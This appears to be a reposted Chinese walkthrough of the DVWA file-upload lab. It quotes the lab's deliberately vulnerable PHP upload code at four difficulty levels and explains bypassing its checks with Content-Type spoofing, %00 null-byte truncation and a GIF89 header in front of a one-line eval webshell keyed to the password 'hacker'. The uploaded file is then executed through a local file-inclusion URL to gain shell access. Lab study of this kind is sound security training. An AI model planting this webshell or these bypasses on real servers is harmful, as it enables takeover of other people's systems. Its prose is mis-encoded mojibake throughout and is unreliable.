第五關(guān):File upload(文件上傳)
??????文件上傳漏洞,通常是由于對(duì)上傳文件的類型、內(nèi)容沒(méi)有進(jìn)行嚴(yán)格的過(guò)濾、檢查,使得攻擊者可以通過(guò)上傳木馬獲取服務(wù)器的webshell權(quán)限,因此文件上傳漏洞帶來(lái)的危害常常是毀滅性的,Apache、Tomcat、Nginx等都曝出過(guò)文件上傳漏洞。
Low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
basename(str,name)
??????函數(shù)返回路徑中的文件名部分,如果可選參數(shù)name為空,則返回的文件名包含后綴名,反之不包含后綴名。
??????對(duì)源碼分析可以看到,服務(wù)器對(duì)上傳文件的類型、內(nèi)容沒(méi)有做任何的檢查、過(guò)濾,存在明顯的文件上傳漏洞,生成上傳路徑后,服務(wù)器會(huì)檢查是否上傳成功并返回相應(yīng)提示信息。文件上傳沒(méi)有做任何限制,可以上傳任何文件,在上傳一句話木馬,然后通過(guò)蟻劍或者中國(guó)菜刀拿到webshell。
??????上傳成功后,頁(yè)面返回的信息
??????使用蟻劍直接連接,口令為hacker,然后蟻劍就會(huì)通過(guò)向服務(wù)器發(fā)送包含hacker參數(shù)的post請(qǐng)求,在服務(wù)器上執(zhí)行任意命令,獲取webshell權(quán)限,進(jìn)入網(wǎng)站后臺(tái)。可以下載、修改服務(wù)器的所有文件。如下圖
Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
分析代碼發(fā)現(xiàn),程序?qū)ι蟼鞯奈募愋偷拇笮∽隽讼拗?,文件類型必須為image/jpeg和image/png,且文件大小要小于100000b
當(dāng)上傳php文件時(shí),頁(yè)面將提示錯(cuò)誤
使用burp suite抓包修改Content-Type類型
使用00截?cái)嗬@過(guò)
在php<5.3.4中,處理字符串的函數(shù)認(rèn)為0x00是終止符。那么我們可以利用 00截?cái)?的方法來(lái)上傳一句話木馬。網(wǎng)站上傳函數(shù)處理a.php%00.jpg時(shí),首先后綴名是合法的jpg格式,可以上傳,在點(diǎn)擊上傳后,使用burpsuite進(jìn)行抓包攔截,點(diǎn)擊右鍵發(fā)送至repeater模塊,選擇 %00 右鍵進(jìn)行url-decode編碼,之后點(diǎn)擊send發(fā)送,可以看見(jiàn)文件a.php上傳成功。然后就可以用菜刀連接了。(或者將上傳的php文件命名為a.php .jpg[中間有空格],抓包后選擇repeater模塊,之后點(diǎn)擊hex選擇十六進(jìn)制編碼,在該文件名對(duì)應(yīng)的行數(shù),將 20 改為 00,之后選擇send發(fā)送,也可使php文件上傳成功)
High
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
strrpos(string , find ,start): 查找find字符在string字符中的最后一次出現(xiàn)的位置,start參數(shù)可選,表示指定從哪里開(kāi)始
substr(string,start,length): 返回string字符中從start開(kāi)始的字符串,length參數(shù)可選,表示返回字符的長(zhǎng)度
strtolower(string): 返回給定字符串的小寫(xiě)
getimagesize(string): 函數(shù)將測(cè)定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小并返回圖像的尺寸以及文件類型和一個(gè)可以用于普通 HTML 文件中 IMG 標(biāo)記中的 height/width 文本字符串。如果不能訪問(wèn) filename 指定的圖像或者其不是有效的圖像,getimagesize() 將返回 FALSE 并產(chǎn)生一條 E_WARNING級(jí)的錯(cuò)誤。所以 getimagesize函數(shù)的作用是判斷上傳的文件是不是有效的圖片
move_uploaded_file(file,newlocal) 函數(shù)表示把給定的文件移動(dòng)到新的位置
因此,上傳文件名為1.jpg
,且文件內(nèi)容為<?php @eval($_POST['hacker']);?>
,此時(shí)頁(yè)面將報(bào)錯(cuò),顯示上傳失敗,因?yàn)間etimagesize()函數(shù)判斷該文件不是有效的圖片文件,所有需要在文件中加入文件頭。
GIF89
<?php @eval($_POST['hacker']); ?>
在文件1.jpg中加入上面的字符,即顯示上傳文件成功,但是作為圖片文件不能被當(dāng)作php文件執(zhí)行,因此可以利用文件包含漏洞,將上傳的圖片文件作為php文件執(zhí)行。并可以使用中國(guó)菜刀進(jìn)行連接,獲取webshell。連接url為http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/WWW/DVWA-1.9/1.jpg
Impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
imagecreatefromjpeg(filename): 從給定的文件或url中創(chuàng)建一個(gè)新的圖片
imagejpeg(image,filename,quality): 從image圖像中以 filename 文件名創(chuàng)建一個(gè)jpeg的圖片,參數(shù)quality可選,0-100 (質(zhì)量從小到大)
imagedestroy(image): 銷毀圖像文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-469165.html
分析源碼可以看到,代碼中加入了token機(jī)制用于防御CSRF攻擊,并對(duì)文件名進(jìn)行了MD5加密,防止了00截?cái)嗬@過(guò)過(guò)濾規(guī)則,同時(shí)對(duì)文件后綴和文件類型做了白名單設(shè)置,并且還對(duì)文件內(nèi)容作了嚴(yán)格的檢查,不符合圖片的內(nèi)容一律舍棄,導(dǎo)致攻擊者無(wú)法將含有惡意代碼的圖片上傳成功。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-469165.html
到了這里,關(guān)于DVWA靶場(chǎng)-文件上傳漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!